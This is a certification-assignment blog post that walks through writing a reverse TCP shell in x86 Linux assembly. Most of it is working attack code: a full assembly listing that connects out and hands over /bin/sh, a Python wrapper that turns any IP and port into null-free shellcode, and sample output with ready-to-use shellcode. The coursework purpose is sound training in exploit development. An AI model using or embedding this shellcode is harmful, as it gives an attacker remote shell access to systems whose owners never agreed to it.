SLAE 2: Creating a reverse TCP shell in x86 Assembly


Programming / January 21, 2020 • 7 min read

Tags: slae shellcoding


What is a reverse TCP shell?

A reverse TCP shell is a program that instead of listening for incoming connections, the program will connect to a remote system and provide a local shell. This is useful in situations where the victim system is behind NAT, meaning you can’t directly connect to it, instead the server will connect to you. For this reason, reverse TCP shells are usually prefered over bind shells.

Okey let’s do this, leeeerooooyyy jeeeeeenkins

Our previous article followed these steps to create a bind shell:

  1. Create a socket
  2. Bind the socket
  3. Listen for connections
  4. Accept new connections
  5. Execute shell

This program will only need the following steps:

  1. Create a socket
  2. Connect to remote system
  3. Execute shell

As can be seen, the reverse shell requires less steps and less code in order to function. For this assignment, I did not create a reference program in C, because most of the code was borrowed from our previous bind shell article. The only new code section in this assignment is the connect() function.

 1global _start
 2
 3section .text
 4
 5_start:
 6
 7    ; zero out registers
 8    xor eax, eax
 9    xor ebx, ebx
10    xor edx, edx
11
12    ; -------------------------------------
13    ; # Setup socket
14
15    ; socketcall()
16    mov al, 0x66     ; __NR_socketcall 102
17    mov bl, 0x1      ; SYS_SOCKET
18
19    ; # Setup socket
20    ; Resulting file descriptor is saved to eax
21    push edx
22    push 0x1
23    push 0x2
24    mov ecx, esp     ; Arguments are located top of the stack
25    int 0x80         ; Tell the kernel it's time to boogie
26    mov edi, eax     ; $eax contains the file descriptor created by socket(), store it in $edi for now

After setting up the socketcall wrapper to call connect(), we need to setup the necessary arguments for connect():

 1    ; ---------------------------------
 2    ; # Setup connect
 3    ; socketcall
 4    mov al, 0x66     ; socketcall()
 5    mov bl, 0x3      ; SYS_CONNECT
 6
 7    ; setup sockaddr struct
 8    push 0xfeffff80                 ; 1.0.0.127
 9    xor dword [esp], 0xffffffff     ; xor IP with key 0xff to get real ip
10
11    push word 0x3905        ; htons(1337)
12    push word 0x2           ; AF_INET
13
14    mov ecx, esp     ; Store the address that points to our struct
15
16    ; Push the arguments for connect()
17    push 0x10        ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
18    push ecx         ; Points to our sockaddr_in struct
19    push edi         ; Contains our file descriptor
20
21    mov ecx, esp     ; Second parameter for socketcall, points to arguments required by connect()
22    int 0x80         ; Tell the kernel let's go!

The connect() code section is very similar to the setup needed for listen(), which can be seen in the previous bind shell article. The difference here is that we are specifying an IP to connect to. In order to avoid null bytes, the IP address is XORed with 0xffffffff. This solution is not bulletproof, because if an IP would contain a 0xFF, the result of the XOR operation would be 0x00.

Now we use dup2() to set STDIN, STDOUT, STDERR to our file descriptor, and execute /bin/sh. This will expose a local shell to the connected socket, thereby acheiving a remote TCP shell.

 1redirect:
 2    ; --------------------
 3    ; # Setup dup2
 4    ; redirect to stdin
 5    mov al, 0x3f     ; syscall number dup2 63 --> 0x3f
 6    mov ebx, edi     ; peer's file descriptor
 7    mov ecx, edx     ; STDIN
 8    int 0x80
 9
10    ; redirect to stdout
11    mov al, 0x3f
12    mov cl, 0x1      ; STDOUT
13    int 0x80
14
15    ; redirect to stderr
16    mov al, 0x3f
17    mov cl, 0x2      ; STDERR
18    int 0x80
19
20shell:
21    ; --------------------
22    ; # Setup execv
23    xor edx, edx
24    push edx
25
26    ; push //bin/sh onto the stack
27    push 0x68732f6e
28    push 0x69622f2f
29
30    ; Set address of esp to ebx, which points
31    ; to //bin/sh
32    mov ebx, esp
33
34    xor ecx, ecx
35    xor eax, eax
36    mov al, 0xb      ; execv syscall
37    int 0x80

Final code:

 1;---------------------------------
 2;
 3; Author: dubs3c
 4;
 5; Purpose:
 6; Reverse TCP shell connect
 7;
 8;----------------------------------
 9
10global _start
11
12section .text
13
14_start:
15
16    ; zero out registers
17    xor eax, eax
18    xor ebx, ebx
19    xor edx, edx
20
21    ; -------------------------------------
22    ; # Setup socket
23
24    ; socketcall()
25    mov al, 0x66     ; __NR_socketcall 102
26    mov bl, 0x1      ; SYS_SOCKET
27
28    ; # Setup socket
29    ; Resulting file descriptor is saved to eax
30    push edx
31    push 0x1
32    push 0x2
33    mov ecx, esp     ; Arguments are located top of the stack
34    int 0x80         ; Tell the kernel it's time to boogie
35    mov edi, eax     ; $eax contains the file descriptor created by socket(), store it in $edi for now
36
37    ; ---------------------------------
38    ; # Setup connect
39    ; socketcall
40    mov al, 0x66     ; socketcall()
41    mov bl, 0x3      ; SYS_CONNECT
42    
43    ; setup sockaddr struct
44    push 0xfeffff80                 ; 1.0.0.127
45    xor dword [esp], 0xffffffff     ; xor IP with key 0xff to get real ip
46
47    push word 0x3905        ; htons(1337)
48    push word 0x2           ; AF_INET
49
50    mov ecx, esp     ; Store the address that points to our struct
51
52    ; Push the arguments for connect()
53    push 0x10        ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
54    push ecx         ; Points to our sockaddr_in struct
55    push edi         ; Contains our file descriptor
56
57    mov ecx, esp     ; Second parameter for socketcall, points to arguments required by connect()
58    int 0x80         ; Tell the kernel let's go!
59
60    ; --------------------
61    ; # Setup dup2
62    ; redirect to stdin
63    mov al, 0x3f     ; syscall number dup2 63 --> 0x3f
64    mov ebx, edi     ; peer's file descriptor
65    mov ecx, edx     ; STDIN
66    int 0x80
67
68    ; redirect to stdout
69    mov al, 0x3f
70    mov cl, 0x1      ; STDOUT
71    int 0x80
72
73    ; redirect to stderr
74    mov al, 0x3f
75    mov cl, 0x2      ; STDERR
76    int 0x80
77
78    ; --------------------
79    ; # Setup execv
80    xor edx, edx
81    push edx
82
83    ; push //bin/sh onto the stack
84    push 0x68732f6e
85    push 0x69622f2f
86
87    ; Set address of esp to ebx, which points
88    ; to //bin/sh
89    mov ebx, esp
90
91    xor ecx, ecx
92    xor eax, eax
93    mov al, 0xb      ; execv syscall
94    int 0x80
95
96    ; -----------------------------
97    ; THE END - HAVE A NICE SHELL |
98    ; -----------------------------

Making the address and port configurable

Right now the port 1337 and IP 127.0.0.1 is hardcoded, let’s make a wrapper script in python which allows for setting a custom port and IP.

 1#!/usr/bin/env python3
 2
 3import sys
 4
 5def main(ip, port):
 6    # one liner to convert e.g 127.0.0.1 to \x80\xff\xff\xfe XORed with key 0xff
 7    # This is to avoid null bytes. However, a null byte can be introduced if one octet is 0xff
 8    hex_ip = "".join([hex(int(octet)^255).replace("0x","\\x") for octet in ip.split(".")])
 9    str_port = hex(port).replace('0x','').zfill(4)
10
11    shellcode = r"\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68{ip}\x83\x34\x24\xff\x66\x68{port}\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1    \x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80"
12
13    hex_port = "\\x{}\\x{}".format(str_port[:2], str_port[2:])
14
15    if "\\x00" in hex_port:
16        print("[-] Sorry, null byte found in that port, chose another port.")
17        print("[-] Ports between 1-256 will always contain a null byte.")
18        print("[-] Port: {}".format(hex_port))
19        sys.exit(1)
20
21    if "\\x00" in hex_ip or "\\x0" in hex_ip:
22        print("[-] Sorry, a null byte was found in the XORed value, this is the end for you...")
23        print("[-] Value: {}".format(hex_ip))
24        sys.exit(1)
25
26    shellcode = shellcode.replace("{port}", hex_port)
27    shellcode = shellcode.replace("{ip}", hex_ip)
28    print("[+] Reverse TCP shell connecting to {ip}:{port}".format(ip=ip, port=port))
29    print("[+] Your Shellcode:")
30    print(shellcode)
31
32
33if __name__ == "__main__":
34    if len(sys.argv) < 3:
35        print("Usage: python3 wrapper.py <ip> <port>")
36        sys.exit(0)
37
38    if int(sys.argv[2]) < 1024:
39        print("[!] Warning: Ports < 1024 must be run as a root")
40
41    if len(sys.argv) == 3:
42        if (int(sys.argv[2]) > 65535):
43            print("[-] Port too large")
44            sys.exit(1)
45        main(sys.argv[1], int(sys.argv[2]))

Running the script yields:

dubs3c@slae:~/SLAE/EXAM/github/assignment_2$ python wrapper.py 192.168.0.48 1338
[+] Reverse TCP shell connecting to 192.168.0.48:1338
[+] Your Shellcode:
\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68\x3f\x57\xff\xcf\x83\x34\x24\xff\x66\x68\x05\x3a\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80

Screenshot showing the TCP reverse shell in action!

TCP Reverse shell


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490